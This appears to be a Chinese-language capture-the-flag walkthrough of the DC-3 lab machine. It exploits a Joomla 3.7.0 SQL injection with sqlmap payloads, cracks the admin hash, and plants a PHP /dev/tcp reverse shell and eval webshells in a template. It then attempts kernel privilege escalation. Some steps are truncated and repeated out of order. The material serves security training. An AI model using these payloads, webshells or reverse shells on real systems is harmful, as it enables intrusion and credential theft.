工具用途:
- Nikto是一款开源的web服务器扫描器它可以对网页服务器进行全面的多种扫描
.
常用操作:- 扫描站点目录
.
常用选项:- nikto -host [IP]
- OWASPJoomla!漏洞扫描器(JoomScan)是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。除此之外,OWASP JoomScan使用起来非常简单,不仅提供了非常友好的用户界面,而且还能够以HTML或文本格式导出扫描报告。
- 命令:joomscan -u 192.168.85.135
作用:
- 搜索所有的漏洞和shellcode
.
常用选项:- searchsploit XXXX
命令:1. Arp-scan -l
没有发现靶机IP,判断靶机没有分配到IP地址,因此先进去单用户设置网络
2.1> 启动系统后,我们按e键进入grub模式;
2.3> 进入单用户模式了 输入 passwd就可以更改密码了,然后就可以直接用passwd命令修改root;
以上操作便是进入单用户模式下修改root密码,解决root密码忘记以及root用户被锁等需要root权限执行而root账户无法使用的问题。
用户名:root
密码:root
2.4> 退出单用户模式,按新密码重新登录,并进入编辑 /etc/network/interfaces,修改配置文件;
命令:arp-scan -l
命令:nmap -sS -sC -p- -T3 -sV 192.168.85.135
通过nmap扫描发现只开通一个80端口,并且所使用的的CMS服务是:Joomla
分析结果:分析可能存在sql注入,用户名枚举。
命令:root@kali:~# searchsploit joomla | grep php
分析结果:发现一个sql注入的PHP文件,因此需要构建一个php执行环境。
将PHP文件放到dvwa中
6.1> 拷贝 查找joomla的漏洞信息到/root根目录下;
命令:root@kali:~# cp /usr/share/exploitdb/exploits/php/webapps/44893.php /root
6.2> 利用nc命令将文件上传到win7网站根目录下;
关于在win7中下载安装nc命令,可以参考文章:https://blog.csdn.net/nicolewjt/article/details/88898735
root@kali:~# searchsploit Joomla 3.7.0
--------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------- ----------------------------------------
Joomla! 3.7.0 - 'com_fields' SQL Injection | exploits/php/webapps/42033.txt
--------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
可以发现存在SQL注入漏洞
root@kali:~# cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
命令:sqlmap -u “http://192.168.85.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
8.1> 使用sqlmap爆破出数据库,得到数据库信息,着重分析joomladb这个数据库;
8.1> 爆出joomladb数据库中的列表,joomladb数据库中有76个表,通过表名去寻找是否有users表;
命令:root@kali:~# sqlmap -u “http://192.168.85.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -D joomladb --tables -p list[fullordering]
8.2> 爆出字段,爆出内容。找到了名为#__users表,其中保存了用户名和密码信息;
命令:root@kali:~# sqlmap -u “http://192.168.85.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D joomladb -T ‘#__users’ --dump -p list[fullordering]
用户名:admin
密码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
8.3> 利用johnny暴力破解,得到了明文密码为snoopy 。
9.1> 进入网站后台管理主页面(http://192.168.85.135/administrator/index.php),具体操作如下:
点击页面右侧的“ Templates ” ——> 再点击“ Templates ” ——> 点击“ Beez3 Details and Files ” ——> 点击“ index.php ”,进入网页源码。
其中登录后台管理的用户名和密码如下:
用户名:admin
密码:snoopy
【思路】
(1)用system()执行bash -c
(2)用bash发起一个shell
(3)kali监听
(4)访问index.php执行脚本
(5)反弹shell成功 ——>
(6)提权到root
9.2> 在管理页面的index.php中写入反弹shell代码,并按Save进行保存;
用system()执行bash -c的编码如下:
& /dev/tcp/192.168.85.133/8080 0>&1' ");
?>
命令:root@kali:~# nc -lvvp 8080
9.4> 进行触发这个反弹shell(访问DC-3的默认主页);
9.5> 这时候将在kali上得到,反弹的getshell;
9.6> 获取目标主机的操作系统版本,以及该getshell的ID号;
9.7> 对应版本为Ubuntu 16.04,用searchsploit搜索可以利用的漏洞;
root@kali:~# searchsploit Ubuntu 16.04
-------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------- ----------------------------------------
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execut | exploits/linux/local/40937.txt
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation | exploits/linux/local/40054.c
Google Chrome (Fedora 25 / Ubuntu 16.04) - 'tracker-extract' | exploits/linux/local/40943.txt
LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privileg | exploits/linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17. | exploits/linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fe | exploits/linux_x86/local/42276.c
Linux Kernel (Ubuntu 16.04) - Reference Count Overflow Using | exploits/linux/dos/39773.txt
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP | exploits/linux/local/45175.c
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escal | exploits/linux/local/40759.rb
Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback() | exploits/linux/dos/46529.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_o | exploits/linux_x86-64/local/40049.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_ | exploits/linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' L | exploits/linux/local/40489.txt
Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel Pointer | exploits/linux/dos/45919.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Priv | exploits/linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege E | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter targe | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - L | exploits/linux/local/43418.c
-------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
可以自己搭建一个Ubuntu16.04的环境测试后使用39772进行提权
10.1> 打开39772这个文件,可以看到39772文件的下载路径;
路径为:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
由于得到DC-3靶机的shell内无法下载github的39772文件;
10.2> 通过Firefox浏览器进行下载,并下载到下载文件夹中;
python -m SimpleHTTPServer 9000
用python开启简单的服务器后,在以获得的DC-3的getshell下载exploit.tar文件;
12.1> 解压exploit.tar文件;
12.1> 执行./complie.sh和./doubleput文件;
执行如下命令:
tar -xvf exploit.tar
./compile.sh
./doubleput
点击页面右侧的“ Templates ” ——> 再点击“ Templates ” ——> 点击“ Beez3 Details and Files ” ——> 点击“ index.php ”,进入网页源码。
其中登录后台管理的用户名和密码如下:
用户名:admin
密码:snoopy
写入一句话木马: ——> (添加测试代码)
11.1> 添加一句话木马;
添加一句话木马病毒,进行测试:
<?php
eval($_GET['cmd']);
?>
URL:http://192.168.85.133/index.php?cmd=phpinfo();
添加一句话木马病毒,进行蚁剑连接:
<?php
eval($_POST['cmd']);
?>
12.1> 在kali中输入nc -lvp 1234 进行监听;
命令:nc -lvp 1234
s是提权符
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
以上所有二进制文件都将以root用户权限来执行,准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。因为它们的权限中包含“s”,并且它们的属主为root。
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。其中,大家熟知的具有提权功能的Linux可执行文件包括:
Nmap
Vim
find
Bash
More
Less
Nano
cp
通过以上命令可以发现,不能命令提权!!!!
12.1> 查看DC-3的内核版本;
12.2> 发现目标机存在gcc编译器,可以上传.c文件进项编译;
12.3> 在kali中搜索linux 4.4.0-21的内核版本,并将其拷贝到/root目录下;
12.4> 通过内存命令传送40049.c文件;
12.5> 通过对40049.c进行编译;
发现编译错误,这条内核提权不能够成功!!!
剩下的方法可以参考方法一